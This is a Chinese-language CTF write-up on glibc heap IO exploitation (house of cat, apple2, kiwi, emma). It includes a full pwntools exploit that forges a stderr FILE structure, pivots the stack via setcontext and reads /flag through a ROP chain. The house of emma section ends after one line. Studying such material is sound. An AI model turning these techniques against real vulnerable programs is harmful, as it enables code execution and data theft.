高版本堆IO利用合集

最后更新于 2025-03-30 2422 字 预计阅读时间: 11 分钟


house_of_cat

经典题目了,直接看堆部分,尝试跟踪一下源码。

题目没有exit也不能从main中退出无法直接刷新IO流,我们只能通过__malloc_assert实现IO流的刷新,在__malloc_assert处调用__fxprintf打印错误信息

跟进__fxprintf,发现__fxprintf调用了__vfxprintf,__vfxprintf调用了locked_vfxprintf

继续跟进locked_vfxprintf,发现调用了 __vfprintf_internal

调试发现__vfprintf_internal调用了stderr虚表的_IO_file_xsputn

IO流调用链__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->(vtable+0x38)

libc 2.24之后有了虚表检查IO_validate_vtable,不能够伪造虚表,而WJUMP并没有检测虚表。可以伪造_IO_wfile_jumps进行攻击

在_IO_wfile_jumps中有这个函数_IO_wfile_seekoff,存在这以下调用链_IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW(vtable+0x18),要满足的条件是fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。其中fp是stderr

我们可以largebin attack打stderr为可控堆地址伪造_IO_FILE结构体,top chunk的size为不符合标准的值。在sysmalloc中会判断top chunk的值是否正确,不正确会触发assert

assert就是__assert_fail,__assert_fail为__malloc_assert。

对此可以伪造stderr为以下结构体

fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(heap_base+0x2070-0xa0) # rdx
fake_struct += p64(setcontext + 61) #call_addr
fake_struct += p64(0)  #_markers
fake_struct += p64(0)  #_chain
fake_struct += p64(0)  #_fileno
fake_struct += p64(0)  #_old_offset
fake_struct += p64(0)  #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data 
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps+0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40)

我们将stderr的虚表改成_IO_wfile_jumps+0x10,因为_IO_wfile_jumps在虚表检测范围中,可以通过虚表检查,当触发__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->(vtable+0x38)时,由于vtable改成了_IO_wfile_jumps+0x10于是就触发了_IO_wfile_jumps+0x48即_IO_wfile_seekoff

进入_IO_wfile_seekoff会检测fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。由于_IO_FILE结构体的_wfile_data偏移为0xa0,_wfile_data被我们改成了fake_io_addr + 0x30。_IO_write_ptr 和_IO_write_base为1和0。通过检查进入_IO_switch_to_wget_mode

进入_IO_switch_to_wget_mode会执行_IO_WOVERFLOW,会去寻找_wfile_data的虚表偏移为0xe0对应fake_io_addr + 0x40。fake_io_addr + 0x40+0x18=setcontext + 61执行setcontext 。在call setcontext 时发现下列寄存器可控即

  • _IO_backup_base = rdx
  • 伪造的_IO_wfile_jumps=rax
  • 当前堆地址=rbx,rdi

由于libc 2.29后setcontext 的rsp由rdx决定,可以控制rsp打orw。

注意通过exit执行不了_IO_switch_to_wget_mode,exit执行_IO_flush_all_lockp执行到OVERFLOW时传入的的rcx==0。

在_IO_wfile_seekoff中rcx必须不等于0。

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./house_of_cat"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    #gdb.attach(p,"b* (_IO_wfile_seekoff)")
else:
    p=remote("node4.anna.nssctf.cn",28819)
libc=ELF("./libc.so.6")
elf=ELF(filename)
context.arch=elf.arch
select=b"plz input your cat choice:\n"
login = b"LOGIN | r00t QWB QWXFadmin"
cat=b"CAT | r00t QWB QWXF$\xff"
def add(index,size,content=b""):
    p.recvuntil(b"mew mew mew~~~~~~\n")
    p.send(cat)
    p.sendlineafter(select, b"1")
    p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
    p.sendlineafter(b"plz input your cat size:\n", str(size).encode())
    p.sendlineafter(b"plz input your content:\n", content)

    #p.sendlineafter(b"Content: ", content)


def edit(index,content):
    p.recvuntil(b"mew mew mew~~~~~~\n")
    p.send(cat)
    p.sendlineafter(select, b"4")
    p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
    p.sendlineafter(b"plz input your content:\n", content)

def free(index):
    p.recvuntil(b"mew mew mew~~~~~~\n")
    p.send(cat)
    p.sendlineafter(select, b"2")
    p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())


def show(index):
    p.recvuntil(b"mew mew mew~~~~~~\n")
    p.send(cat)
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())

p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(login)

add(0,0x420)
add(1,0x430)
free(0)
add(2,0x440)

show(0)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21A0D0
print(hex(libc_base))
stderr=libc_base+libc.sym["stderr"]
_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]
_IO_jumps_t=libc_base+libc.sym["_IO_file_jumps"]
setcontext=libc_base+libc.sym["setcontext"]
print(hex(stderr))
p.recvuntil(b"\x7f\x00\x00")
heap_base=u64(p.recv(6).ljust(8,b"\x00"))-0x290
print(hex(heap_base))
add(3,0x420)
fake_io_addr=heap_base+0x1C40
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(heap_base+0x2070-0xa0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0)  #_markers
fake_struct += p64(0)  #_chain
fake_struct += p64(0)  #_fileno
fake_struct += p64(0)  #_old_offset
fake_struct += p64(0)  #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps+0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40)

pop_rdi =libc_base + 0x000000000002a3e5 
pop_rsi = libc_base + 0x000000000002be51 
pop_rdx_r12 = libc_base +0x000000000011f497 
pop_rax = libc_base + 0x0000000000045eb0 
ret = libc_base + 0x0000000000029cd6
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
syscall_ret=libc_base + 0x0000000000091396 
flag_addr = heap_base + 0xF60
rop = p64(heap_base+0x2070)+p64(pop_rdi) + p64(0) + p64(close)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rax) + p64(2) + p64(syscall_ret) 
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr+0x10) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read) 
rop += p64(pop_rdi) + p64(flag_addr+0x10) + p64(puts)
add(4,0x450,b'/flag\x00')
add(5,0x420)
add(6,0x450)
add(7,0x418,fake_struct)
add(8,0x440,rop)
free(5)
add(9,0x450)
edit(5,p64(0)*3+p64(stderr-0x20))
free(7)


add(10,0x460)
add(11,0x440)
add(12,0x460)
free(9)
add(13,0x460)
edit(9,p64(0)*3+p64(heap_base+0x3AB0-0x20+3))
free(11)
#gdb.attach(p,"b *(_IO_wfile_seekoff)")
gdb.attach(p,"b calloc")
add(14,0x460)

gdb.attach(proc.pidof(p)[0])
p.interactive()

注意事项

  • 在largebin attack打top chunk的size要注意绕过检查,top chunk的size要小于system_mem=0x21000,top chunk的size=0x55或者0x56即可,故largerbin attack的地址要+3。
  • __malloc_assert在2.36之后不会刷新IO流了,在2.37及以后被删除,如果能找到第三个参数不为0的IO流可以使用此方法。

2.36

house of apple2

也是用了虚表替换的思想,将_IO_file_jumps替换成_IO_wfile_jumps从而执行wfile结构体虚表的函数。

众所周知exit能触发_IO_flush_all_lockp进而通过_IO_list_all找到所有IO结构体执行各自虚表的_IO_file_overflow,main函数退出也会执行exit,我们可以劫持_IO_list_all到可控区域进行伪造_IO_FILE_plus结构体进行任意函数执行

_IO_flush_all_lockp函数源码如下

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

我们关注该部分

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

该判断分为两部分,第一部分为

((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )

第二部分为

_IO_OVERFLOW (fp, EOF) == EOF

在第一部分又分为两部分

(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || ***

我们只要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)即可执行_IO_OVERFLOW,伪造结构体如下

payload=flat(
    {
    0x18:1,
    0x58:libc_base + 0xebcf1,
    0x90:heap_base + 0xf30,
    0xc8:_IO_wfile_jumps,
    0xd0:heap_base + 0xf30,
    },filler=b"\x00"
)

注意该结构体不包含chunk头部,故偏移都要减去0x10,将 fp->_IO_write_ptr置1,0xd8为结构体虚表置为_IO_wfile_jumps,0xe0为_IO_wide_data虚表将其改为本chunk地址,0xa0为_IO_wide_data在_IO_FILE_plus中的偏移,流程如下

exit---->_IO_flush_all_lockp---->_IO_wfile_jumps+0x18(_IO_wfile_overflow)---->_IO_wdoallocbuf---->*(*(*(_IO_FILE_plus+0xa0)+0xe0)+0x68)即_IO_FILE_plus->_IO_wide_data->_IO_wide_data_vtable+0x68

house of kiwi

也使用了__malloc_assert这条链子,house of cat利用了__fxprintf调用stderr的_IO_file_xputn可用伪造stderr

而house of kiwi则是使用了fflush调用stderr的_IO_file_sync。。。。。。。。

但是但是但是,正常情况下_IO_FILE_jumps是不可写的。

除非不懂什么情况下是可写的

可以写入_IO_file_sync改写成setcontext+61或者og。

在2.29以后写入setcontext要注意mov rsp,[rdi+0xa0]变成了mov rsp,[rdx+0xa0],当执行到_IO_file_sync时rdx=_IO_helper_jumps。可用劫持栈到_IO_helper_jumps+0xa0,但是但是_IO_helper_jumps部分不可写😓,除非在2.29之前可以劫持stderr+0xa0。

除非不懂什么情况_IO_helper_jumps下是可写的

house of emma

又又又使用了__malloc_assert这条链子。和cat一样走的是__fxprintf

此作者没有提供个人介绍。
最后更新于 2025-03-30